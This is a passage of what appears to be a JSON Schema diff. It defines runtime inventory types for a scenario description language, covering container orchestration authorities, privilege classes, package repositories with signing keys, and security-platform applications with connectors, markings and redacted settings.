{"additionalProperties":false,"description":"Required restart and resource-limit policy for a runtime node.","properties":{"description":{"$ref":"#/$defs/_r53"},"resource_limits":{"anyOf":[{"$ref":"#/$defs/RuntimeResourceLimits"},{"type":"null"}],"default":null},"restart":{"anyOf":[{"$ref":"#/$defs/RuntimeRestartPolicy"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[nN][oO]|[aA][lL][wW][aA][yY][sS]|[oO][nN][-_][fF][aA][iI][lL][uU][rR][eE]|[uU][nN][lL][eE][sS][sS][-_][sS][tT][oO][pP][pP][eE][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Restart"}},"title":"RuntimeOperationalPolicy","type":"object"}, + "RuntimeOrchestrationAuthority": {"additionalProperties":false,"description":"Node-scoped runtime inventory for a container-spawn control authority.\n\n``control_interface_ref`` is the ``control_interface_id`` of a same-node\n``RuntimeControlInterface`` (the docker.sock shell), resolved by\n``validator.py`` \u2014 referenced, never duplicated. The privilege classification\nis descriptive and does not select or authorize a privileged operation.","properties":{"control_interface_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Control Interface Ref","type":"string"},"description":{"$ref":"#/$defs/_r53"},"engine":{"anyOf":[{"$ref":"#/$defs/RuntimeOrchestrationEngine"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[dD][oO][cC][kK][eE][rR]|[cC][oO][nN][tT][aA][iI][nN][eE][rR][dD]|[pP][oO][dD][mM][aA][nN]|[kK][uU][bB][eE][rR][nN][eE][tT][eE][sS]|[cC][rR][iI][-_][oO]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Engine"},"engine_api_version":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Engine Api Version","type":"string"},"lifecycle_policy":{"anyOf":[{"$ref":"#/$defs/RuntimeOrchestrationLifecyclePolicy"},{"type":"null"}],"default":null},"name":{"$ref":"#/$defs/_r64"},"orchestration_authority_id":{"$ref":"#/$defs/_r3"},"privilege_class":{"anyOf":[{"$ref":"#/$defs/RuntimeOrchestrationPrivilegeClass"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[hH][oO][sS][tT][-_][rR][oO][oO][tT][-_][eE][qQ][uU][iI][vV][aA][lL][eE][nN][tT]|[nN][aA][mM][eE][sS][pP][aA][cC][eE][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Privilege Class"},"realized_children":{"items":{"$ref":"#/$defs/RuntimeOrchestrationRealizedChild"},"title":"Realized Children","type":"array"},"scope":{"anyOf":[{"$ref":"#/$defs/RuntimeOrchestrationScope"},{"type":"null"}],"default":null},"spawn_templates":{"items":{"$ref":"#/$defs/RuntimeOrchestrationSpawnTemplate"},"title":"Spawn Templates","type":"array"}},"required":["orchestration_authority_id"],"title":"RuntimeOrchestrationAuthority","type":"object"}, + "RuntimeOrchestrationEngine": {"description":"Open taxonomy for the orchestration engine/runtime family.\n\nOpen taxonomy: carries both ``unknown`` and ``other`` per the DSL-139\nenum-sentinel rule.","enum":["docker","containerd","podman","kubernetes","cri_o","unknown","other"],"title":"RuntimeOrchestrationEngine","type":"string"}, + "RuntimeOrchestrationLifecyclePolicy": {"additionalProperties":false,"description":"The lifecycle posture applied to children the authority spawns.","properties":{"cleanup":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Cleanup","type":"string"},"description":{"$ref":"#/$defs/_r53"},"execution_timeout":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Execution Timeout","type":"string"},"timeout":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Timeout","type":"string"}},"title":"RuntimeOrchestrationLifecyclePolicy","type":"object"}, + "RuntimeOrchestrationPrivilegeClass": {"description":"Open taxonomy for the privilege an orchestration authority commands.\n\n``host_root_equivalent`` denotes an authority whose spawn surface is\nequivalent to host root (e.g. a read-write ``docker.sock`` holder);\n``namespaced`` denotes a privilege-scoped/rootless authority. Open\ntaxonomy: carries both ``unknown`` and ``other``.","enum":["host_root_equivalent","namespaced","unknown","other"],"title":"RuntimeOrchestrationPrivilegeClass","type":"string"}, + "RuntimeOrchestrationRealizedChild": {"additionalProperties":false,"description":"An observed, realized child workload spawned by the authority.","properties":{"count":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Count"},"description":{"$ref":"#/$defs/_r53"},"evidence_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Evidence Ref","type":"string"},"image_ref":{"$ref":"#/$defs/_r62"},"workload_id":{"$ref":"#/$defs/_r3"}},"required":["workload_id"],"title":"RuntimeOrchestrationRealizedChild","type":"object"}, + "RuntimeOrchestrationScope": {"additionalProperties":false,"description":"The organizational/environment scope an orchestration authority governs.","properties":{"description":{"$ref":"#/$defs/_r53"},"environment_name":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Environment Name","type":"string"},"organization_ref":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Organization Ref","type":"string"}},"title":"RuntimeOrchestrationScope","type":"object"}, + "RuntimeOrchestrationSpawnTemplate": {"additionalProperties":false,"description":"A template the authority is authorized to instantiate (image + purpose).","properties":{"description":{"$ref":"#/$defs/_r53"},"image_ref":{"$ref":"#/$defs/_r62"},"purpose":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Purpose","type":"string"},"template_id":{"$ref":"#/$defs/_r3"}},"required":["template_id"],"title":"RuntimeOrchestrationSpawnTemplate","type":"object"}, + "RuntimePackage": {"additionalProperties":false,"allOf":[{"if":{"properties":{"repository":{"not":{"type":"null"}}},"required":["repository"]},"then":{"properties":{"manager":{"const":"apt"},"name":{"anyOf":[{"pattern":"^[a-z0-9][a-z0-9+.-]{0,127}$"},{"pattern":"^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$"}]},"version":{"anyOf":[{"pattern":"^[0-9][A-Za-z0-9.+:~_-]{0,255}$"},{"pattern":"^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$"}]}}}}],"description":"An exact package required in a runtime image or node.\n\n``repository`` is absent for ordinary target-configured repositories. When\npresent, it is required final node state and stays within the existing\n``runtime-packages`` realization concern.","properties":{"architecture":{"$ref":"#/$defs/_r46"},"manager":{"description":"Package manager identity used by the target node.","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Manager","type":"string"},"name":{"description":"Package name interpreted by the selected package manager.","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Name","type":"string"},"purl":{"default":"","description":"Package URL identity metadata; never a repository locator, trust binding, or acquisition command.","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Purl","type":"string"},"repository":{"anyOf":[{"discriminator":{"mapping":{"apt":"#/$defs/RuntimeAptPackageRepository"},"propertyName":"repository_profile"},"oneOf":[{"$ref":"#/$defs/RuntimeAptPackageRepository"}]},{"type":"null"}],"default":null,"description":"Closed third-party repository profile; absence selects the target's ordinary configured sources.","title":"Repository"},"source":{"default":"","description":"Opaque package source or provenance label; never a repository declaration or executable value.","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source","type":"string"},"version":{"description":"Exact package version interpreted by the selected package manager.","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Version","type":"string"}},"required":["manager","name","version"],"title":"RuntimePackage","type":"object"}, + "RuntimePackageRepositorySigningKey": {"additionalProperties":false,"description":"Exact public OpenPGP key bytes trusted by one package repository.","properties":{"digest":{"description":"Canonical SHA-256 digest of the exact public signing-key bytes.","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:sha256:[a-f0-9]{64}|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$","title":"Digest","type":"string"},"format":{"enum":["openpgp-ascii-armored","openpgp-binary"],"title":"Format","type":"string"},"uri":{"allOf":[{"$ref":"#/$defs/_r186"}],"description":"Credential-free HTTPS location of the public signing-key bytes.","maxLength":2048,"minLength":1,"not":{"anyOf":[{"pattern":"^https://[^/?#]*@"},{"pattern":"[?&](?:access_token|api_key|apikey|auth|credential|key|password|secret|sig|signature|token)(?:=|&|$)"}]},"pattern":"^https://[^\\s#]+$","title":"Uri","type":"string"}},"required":["uri","format","digest"],"title":"RuntimePackageRepositorySigningKey","type":"object"}, + "RuntimePlatformApplication": {"additionalProperties":false,"description":"Node-scoped runtime inventory for a security platform application.\n\n``service`` references the owning same-node ``Node.services[].name``. The\ninventory is application state above transport; it never duplicates the\ninbound HTTP route surface (``runtime.applications``) or mutates\n``Node.services``. ``capabilities`` declare composable provider-neutral\nfunctional roles without implying content or configuration completeness.\n``authorization_ref`` is the ``app_authorization_id`` of the platform's\ninternal RBAC store (resolved by the semantic validator).","properties":{"authorization_ref":{"$ref":"#/$defs/_r48"},"capabilities":{"items":{"$ref":"#/$defs/RuntimePlatformApplicationCapability"},"title":"Capabilities","type":"array"},"connectors":{"items":{"$ref":"#/$defs/RuntimePlatformApplicationConnector"},"title":"Connectors","type":"array"},"content_objects":{"deprecated":true,"description":"Legacy bounded platform-content manifests retained for compatibility; content presence does not define application capabilities.","items":{"$ref":"#/$defs/RuntimePlatformApplicationContentObject"},"title":"Content Objects","type":"array"},"description":{"$ref":"#/$defs/_r53"},"execution_policy":{"anyOf":[{"$ref":"#/$defs/RuntimePlatformApplicationExecutionPolicy"},{"type":"null"}],"default":null},"markings":{"items":{"$ref":"#/$defs/RuntimePlatformApplicationMarking"},"title":"Markings","type":"array"},"name":{"$ref":"#/$defs/_r64"},"organizations":{"items":{"$ref":"#/$defs/RuntimePlatformApplicationOrganization"},"title":"Organizations","type":"array"},"platform_application_id":{"$ref":"#/$defs/_r3"},"platform_kind":{"anyOf":[{"$ref":"#/$defs/RuntimePlatformApplicationKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][nN][aA][lL][yY][tT][iI][cC][sS][-_][dD][aA][sS][hH][bB][oO][aA][rR][dD]|[tT][hH][rR][eE][aA][tT][-_][iI][nN][tT][eE][lL]|[cC][aA][sS][eE][-_][mM][aA][nN][aA][gG][eE][mM][eE][nN][tT]|[aA][nN][aA][lL][yY][zZ][eE][rR][-_][eE][nN][gG][iI][nN][eE]|[sS][oO][aA][rR]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","deprecated":true,"description":"Legacy product-family category retained for compatibility; does not imply capabilities or configuration completeness. Use capabilities for new documents.","title":"Platform Kind"},"product":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Product","type":"string"},"service":{"$ref":"#/$defs/_r70"},"settings":{"items":{"$ref":"#/$defs/RuntimePlatformApplicationSetting"},"title":"Settings","type":"array"},"tenants":{"items":{"$ref":"#/$defs/RuntimePlatformApplicationTenant"},"title":"Tenants","type":"array"},"upstream_bindings":{"items":{"$ref":"#/$defs/RuntimePlatformApplicationUpstreamBinding"},"title":"Upstream Bindings","type":"array"},"version":{"$ref":"#/$defs/_r81"}},"required":["platform_application_id"],"title":"RuntimePlatformApplication","type":"object"}, + "RuntimePlatformApplicationCapability": {"additionalProperties":false,"description":"A provider-neutral functional role exposed by the application.\n\nCapability declarations are composable and independent of product\ncategories, configuration completeness, loaded content, policy, and\nexecution guarantees. ``evidence_refs`` may identify the evidence supporting\nthe declared runtime contract without embedding backend payloads.","properties":{"capability_id":{"$ref":"#/$defs/_r3"},"description":{"$ref":"#/$defs/_r53"},"evidence_refs":{"$ref":"#/$defs/_r118"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimePlatformApplicationCapabilityKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[tT][hH][rR][eE][aA][tT][-_][iI][nN][tT][eE][lL][lL][iI][gG][eE][nN][cC][eE][-_][mM][aA][nN][aA][gG][eE][mM][eE][nN][tT]|[iI][nN][tT][eE][lL][lL][iI][gG][eE][nN][cC][eE][-_][eE][xX][cC][hH][aA][nN][gG][eE]|[cC][aA][sS][eE][-_][mM][aA][nN][aA][gG][eE][mM][eE][nN][tT]|[aA][nN][aA][lL][yY][sS][iI][sS][-_][eE][xX][eE][cC][uU][tT][iI][oO][nN]|[wW][oO][rR][kK][fF][lL][oO][wW][-_][aA][uU][tT][oO][mM][aA][tT][iI][oO][nN]|[aA][nN][aA][lL][yY][tT][iI][cC][sS][-_][pP][rR][eE][sS][eE][nN][tT][aA][tT][iI][oO][nN]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Kind"}},"required":["capability_id"],"title":"RuntimePlatformApplicationCapability","type":"object"}, + "RuntimePlatformApplicationCapabilityKind": {"description":"Open taxonomy of provider-neutral application capabilities.\n\nA capability describes a functional role exposed by an application. It\ndoes not imply a product identity, configuration profile, content\ninventory, policy, or execution guarantee. Open taxonomy: carries both\n``unknown`` and ``other``.","enum":["threat_intelligence_management","intelligence_exchange","case_management","analysis_execution","workflow_automation","analytics_presentation","unknown","other"],"title":"RuntimePlatformApplicationCapabilityKind","type":"string"}, + "RuntimePlatformApplicationConnector": {"additionalProperties":false,"description":"A connector/integration wired into the platform.\n\nA connector never carries a raw credential value; its credential posture is\nrecorded purely via :attr:`credential_classification`.","properties":{"connector_id":{"$ref":"#/$defs/_r3"},"credential_classification":{"anyOf":[{"$ref":"#/$defs/RuntimePlatformApplicationSettingClassification"},{"$ref":"#/$defs/_r159"}],"default":"plain","title":"Credential Classification"},"description":{"$ref":"#/$defs/_r53"},"enabled":{"$ref":"#/$defs/_r27"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimePlatformApplicationConnectorKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][nN][aA][lL][yY][zZ][eE][rR][-_][eE][nN][gG][iI][nN][eE]|[rR][eE][sS][pP][oO][nN][dD][eE][rR]|[wW][eE][bB][hH][oO][oO][kK]|[nN][oO][tT][iI][fF][iI][cC][aA][tT][iI][oO][nN]|[sS][yY][nN][cC]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Kind"},"name":{"$ref":"#/$defs/_r64"}},"required":["connector_id"],"title":"RuntimePlatformApplicationConnector","type":"object"}, + "RuntimePlatformApplicationConnectorKind": {"description":"Open taxonomy of platform connector/integration kinds.\n\nOpen taxonomy: carries both ``unknown`` and ``other``.","enum":["analyzer_engine","responder","webhook","notification","sync","unknown","other"],"title":"RuntimePlatformApplicationConnectorKind","type":"string"}, + "RuntimePlatformApplicationContentObject": {"additionalProperties":false,"description":"A legacy typed platform content object as a bounded manifest entry.\n\nThe object carries a typed ``kind``, bounded typed ``attributes``, typed\n``references`` (to other ``content_object_id`` values), ``marking_refs``,\nand ``evidence_refs`` \u2014 structurally **never** a raw object body. Its\npresence does not imply an application capability.","properties":{"attributes":{"additionalProperties":true,"title":"Attributes","type":"object"},"content_object_id":{"$ref":"#/$defs/_r3"},"description":{"$ref":"#/$defs/_r53"},"evidence_refs":{"$ref":"#/$defs/_r118"},"kind":{"anyOf":[{"$ref":"#/$defs/RuntimePlatformApplicationContentObjectKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[iI][nN][dD][eE][xX][-_][pP][aA][tT][tT][eE][rR][nN]|[vV][iI][sS][uU][aA][lL][iI][zZ][aA][tT][iI][oO][nN]|[dD][aA][sS][hH][bB][oO][aA][rR][dD]|[sS][eE][aA][rR][cC][hH]|[fF][eE][eE][dD]|[tT][aA][xX][oO][nN][oO][mM][yY]|[gG][aA][lL][aA][xX][yY][-_][cC][lL][uU][sS][tT][eE][rR]|[wW][aA][rR][nN][iI][nN][gG][lL][iI][sS][tT]|[oO][bB][jJ][eE][cC][tT][-_][tT][eE][mM][pP][lL][aA][tT][eE]|[sS][hH][aA][rR][iI][nN][gG][-_][gG][rR][oO][uU][pP]|[cC][aA][sS][eE][-_][tT][eE][mM][pP][lL][aA][tT][eE]|[cC][uU][sS][tT][oO][mM][-_][fF][iI][eE][lL][dD]|[aA][nN][aA][lL][yY][zZ][eE][rR]|[rR][eE][sS][pP][oO][nN][dD][eE][rR]|[wW][oO][rR][kK][fF][lL][oO][wW]|[aA][pP][pP]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Kind"},"marking_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Marking Refs","type":"array"},"name":{"$ref":"#/$defs/_r64"},"references":{"items":{"$ref":"#/$defs/_r185"},"title":"References","type":"array"}},"required":["content_object_id"],"title":"RuntimePlatformApplicationContentObject","type":"object"}, + "RuntimePlatformApplicationContentObjectKind": {"description":"Legacy open taxonomy of typed platform content objects.\n\nA content object is a bounded parsed manifest entry (typed kind + bounded\nattributes + typed references) \u2014 never a raw object body. The collection is\nretained for compatibility and does not define an application's\ncapabilities. Open taxonomy: carries both ``unknown`` and ``other``.","enum":["index_pattern","visualization","dashboard","search","feed","taxonomy","galaxy_cluster","warninglist","object_template","sharing_group","case_template","custom_field","analyzer","responder","workflow","app","unknown","other"],"title":"RuntimePlatformApplicationContentObjectKind","type":"string"}, + "RuntimePlatformApplicationExecutionPolicy": {"additionalProperties":false,"description":"The platform's job/analyzer execution model (rate limits, runner).","properties":{"description":{"$ref":"#/$defs/_r53"},"job_timeout":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Job Timeout","type":"string"},"max_concurrent_jobs":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Max Concurrent Jobs"},"policy_id":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Policy Id","type":"string"},"rate_limit":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Rate Limit","type":"string"},"runner":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Runner","type":"string"}},"title":"RuntimePlatformApplicationExecutionPolicy","type":"object"}, + "RuntimePlatformApplicationKind": {"description":"Legacy open category for a platform-application product family.\n\nThis category is retained for compatibility. It does not assert\nconfiguration completeness or imply application capabilities. New\ndocuments should use composable ``capabilities`` instead. Open taxonomy:\ncarries both ``unknown`` and ``other``.","enum":["analytics_dashboard","threat_intel","case_management","analyzer_engine","soar","unknown","other"],"title":"RuntimePlatformApplicationKind","type":"string"}, + "RuntimePlatformApplicationMarking": {"additionalProperties":false,"description":"A releasability marking (TLP/PAP/distribution) defined by the platform.","properties":{"description":{"$ref":"#/$defs/_r53"},"level":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Level","type":"string"},"marking_id":{"$ref":"#/$defs/_r3"},"scheme":{"anyOf":[{"$ref":"#/$defs/RuntimePlatformApplicationMarkingScheme"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[tT][lL][pP]|[pP][aA][pP]|[dD][iI][sS][tT][rR][iI][bB][uU][tT][iI][oO][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"tlp","title":"Scheme"},"value":{"$ref":"#/$defs/_r80"}},"required":["marking_id"],"title":"RuntimePlatformApplicationMarking","type":"object"}, + "RuntimePlatformApplicationMarkingScheme": {"description":"Closed releasability-marking scheme vocabulary.\n\nStandard-fixed (FIRST TLP 2.0 / PAP / MISP distribution lattice), so per\nthe enum-sentinel rule it carries neither ``unknown`` nor ``other``.","enum":["tlp","pap","distribution"],"title":"RuntimePlatformApplicationMarkingScheme","type":"string"}, + "RuntimePlatformApplicationOrganization": {"additionalProperties":false,"description":"An organization/owner tenant known to the platform application.","properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r64"},"organization_id":{"$ref":"#/$defs/_r3"}},"required":["organization_id"],"title":"RuntimePlatformApplicationOrganization","type":"object"}, + "RuntimePlatformApplicationSetting": {"additionalProperties":false,"description":"An observed platform setting with provenance and sensitivity.\n\nExplicitly redacted/operator-secret settings must omit their raw ``value``.\nA setting name does not by itself redact SDL scenario content.","if":{"properties":{"classification":{"anyOf":[{"pattern":"^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$","type":"string"},{"pattern":"^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$","type":"string"}]}},"required":["classification"]},"properties":{"classification":{"anyOf":[{"$ref":"#/$defs/RuntimePlatformApplicationSettingClassification"},{"$ref":"#/$defs/_r159"}],"default":"plain","title":"Classification"},"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r64"},"provenance":{"anyOf":[{"$ref":"#/$defs/RuntimePlatformApplicationSettingProvenance"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[dD][eE][fF][aA][uU][lL][tT]|[eE][nN][vV][iI][rR][oO][nN][mM][eE][nN][tT]|[cC][oO][nN][fF][iI][gG][-_][fF][iI][lL][eE]|[dD][aA][tT][aA][bB][aA][sS][eE]|[rR][uU][nN][tT][iI][mM][eE]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Provenance"},"redaction":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Redaction","type":"string"},"setting_id":{"$ref":"#/$defs/_r3"},"value":{"$ref":"#/$defs/_r80"}},"required":["setting_id"],"then":{"not":{"properties":{"value":{"minLength":1,"type":"string"}},"required":["value"]}},"title":"RuntimePlatformApplicationSetting","type":"object"}, + "RuntimePlatformApplicationSettingClassification": {"description":"Closed sensitivity classification for a platform setting value.\n\nClosed structural redaction vocabulary: carries neither ``unknown`` nor\n``other`` (an unclassified value is ``plain``).","enum":["plain","redacted","operator_secret"],"title":"RuntimePlatformApplicationSettingClassification","type":"string"}, + "RuntimePlatformApplicationSettingProvenance": {"description":"Open taxonomy of where an observed platform setting originated.\n\nOpen taxonomy: carries both ``unknown`` and ``other``.","enum":["default","environment","config_file","database","runtime","unknown","other"],"title":"RuntimePlatformApplicationSettingProvenance","type":"string"}, + "RuntimePlatformApplicationTenant": {"additionalProperties":false,"description":"A tenant/namespace scope within the platform application.","properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r64"},"tenant_id":{"$ref":"#/$defs/_r3"}},"required":["tenant_id"],"title":"RuntimePlatformApplicationTenant","type":"object"}, + "RuntimePlatformApplicationUpstreamBinding": {"additionalProperties":false,"description":"An outbound binding to an upstream node/service (data source, backend).","properties":{"binding_id":{"$ref":"#/$defs/_r3"},"description":{"$ref":"#/$defs/_r53"},"role":{"anyOf":[{"$ref":"#/$defs/RuntimePlatformApplicationUpstreamBindingRole"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[dD][aA][tT][aA][-_][sS][oO][uU][rR][cC][eE]|[bB][aA][cC][kK][eE][nN][dD][-_][aA][pP][iI]|[sS][yY][nN][cC][-_][pP][eE][eE][rR]|[iI][nN][dD][eE][xX][-_][bB][aA][cC][kK][eE][nN][dD]|[cC][qQ][lL][-_][bB][aA][cC][kK][eE][nN][dD]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Role"},"target_node_ref":{"$ref":"#/$defs/_r75"},"target_service_ref":{"$ref":"#/$defs/_r77"}},"required":["binding_id"],"title":"RuntimePlatformApplicationUpstreamBinding","type":"object"}, + "RuntimePlatformApplicationUpstreamBindingRole": {"description":"Open taxonomy for the role an outbound upstream binding plays.\n\nOpen taxonomy: carries both ``unknown`` and ``other``.","enum":["data_source","backend_api","sync_peer","index_backend","cql_backend","unknown","other"],"title":"RuntimePlatformApplicationUpstreamBindingRole","type":"string"}, + "RuntimeProcessCapabilityOverride": {"additionalProperties":false,"description":"A capability delta scoped to a 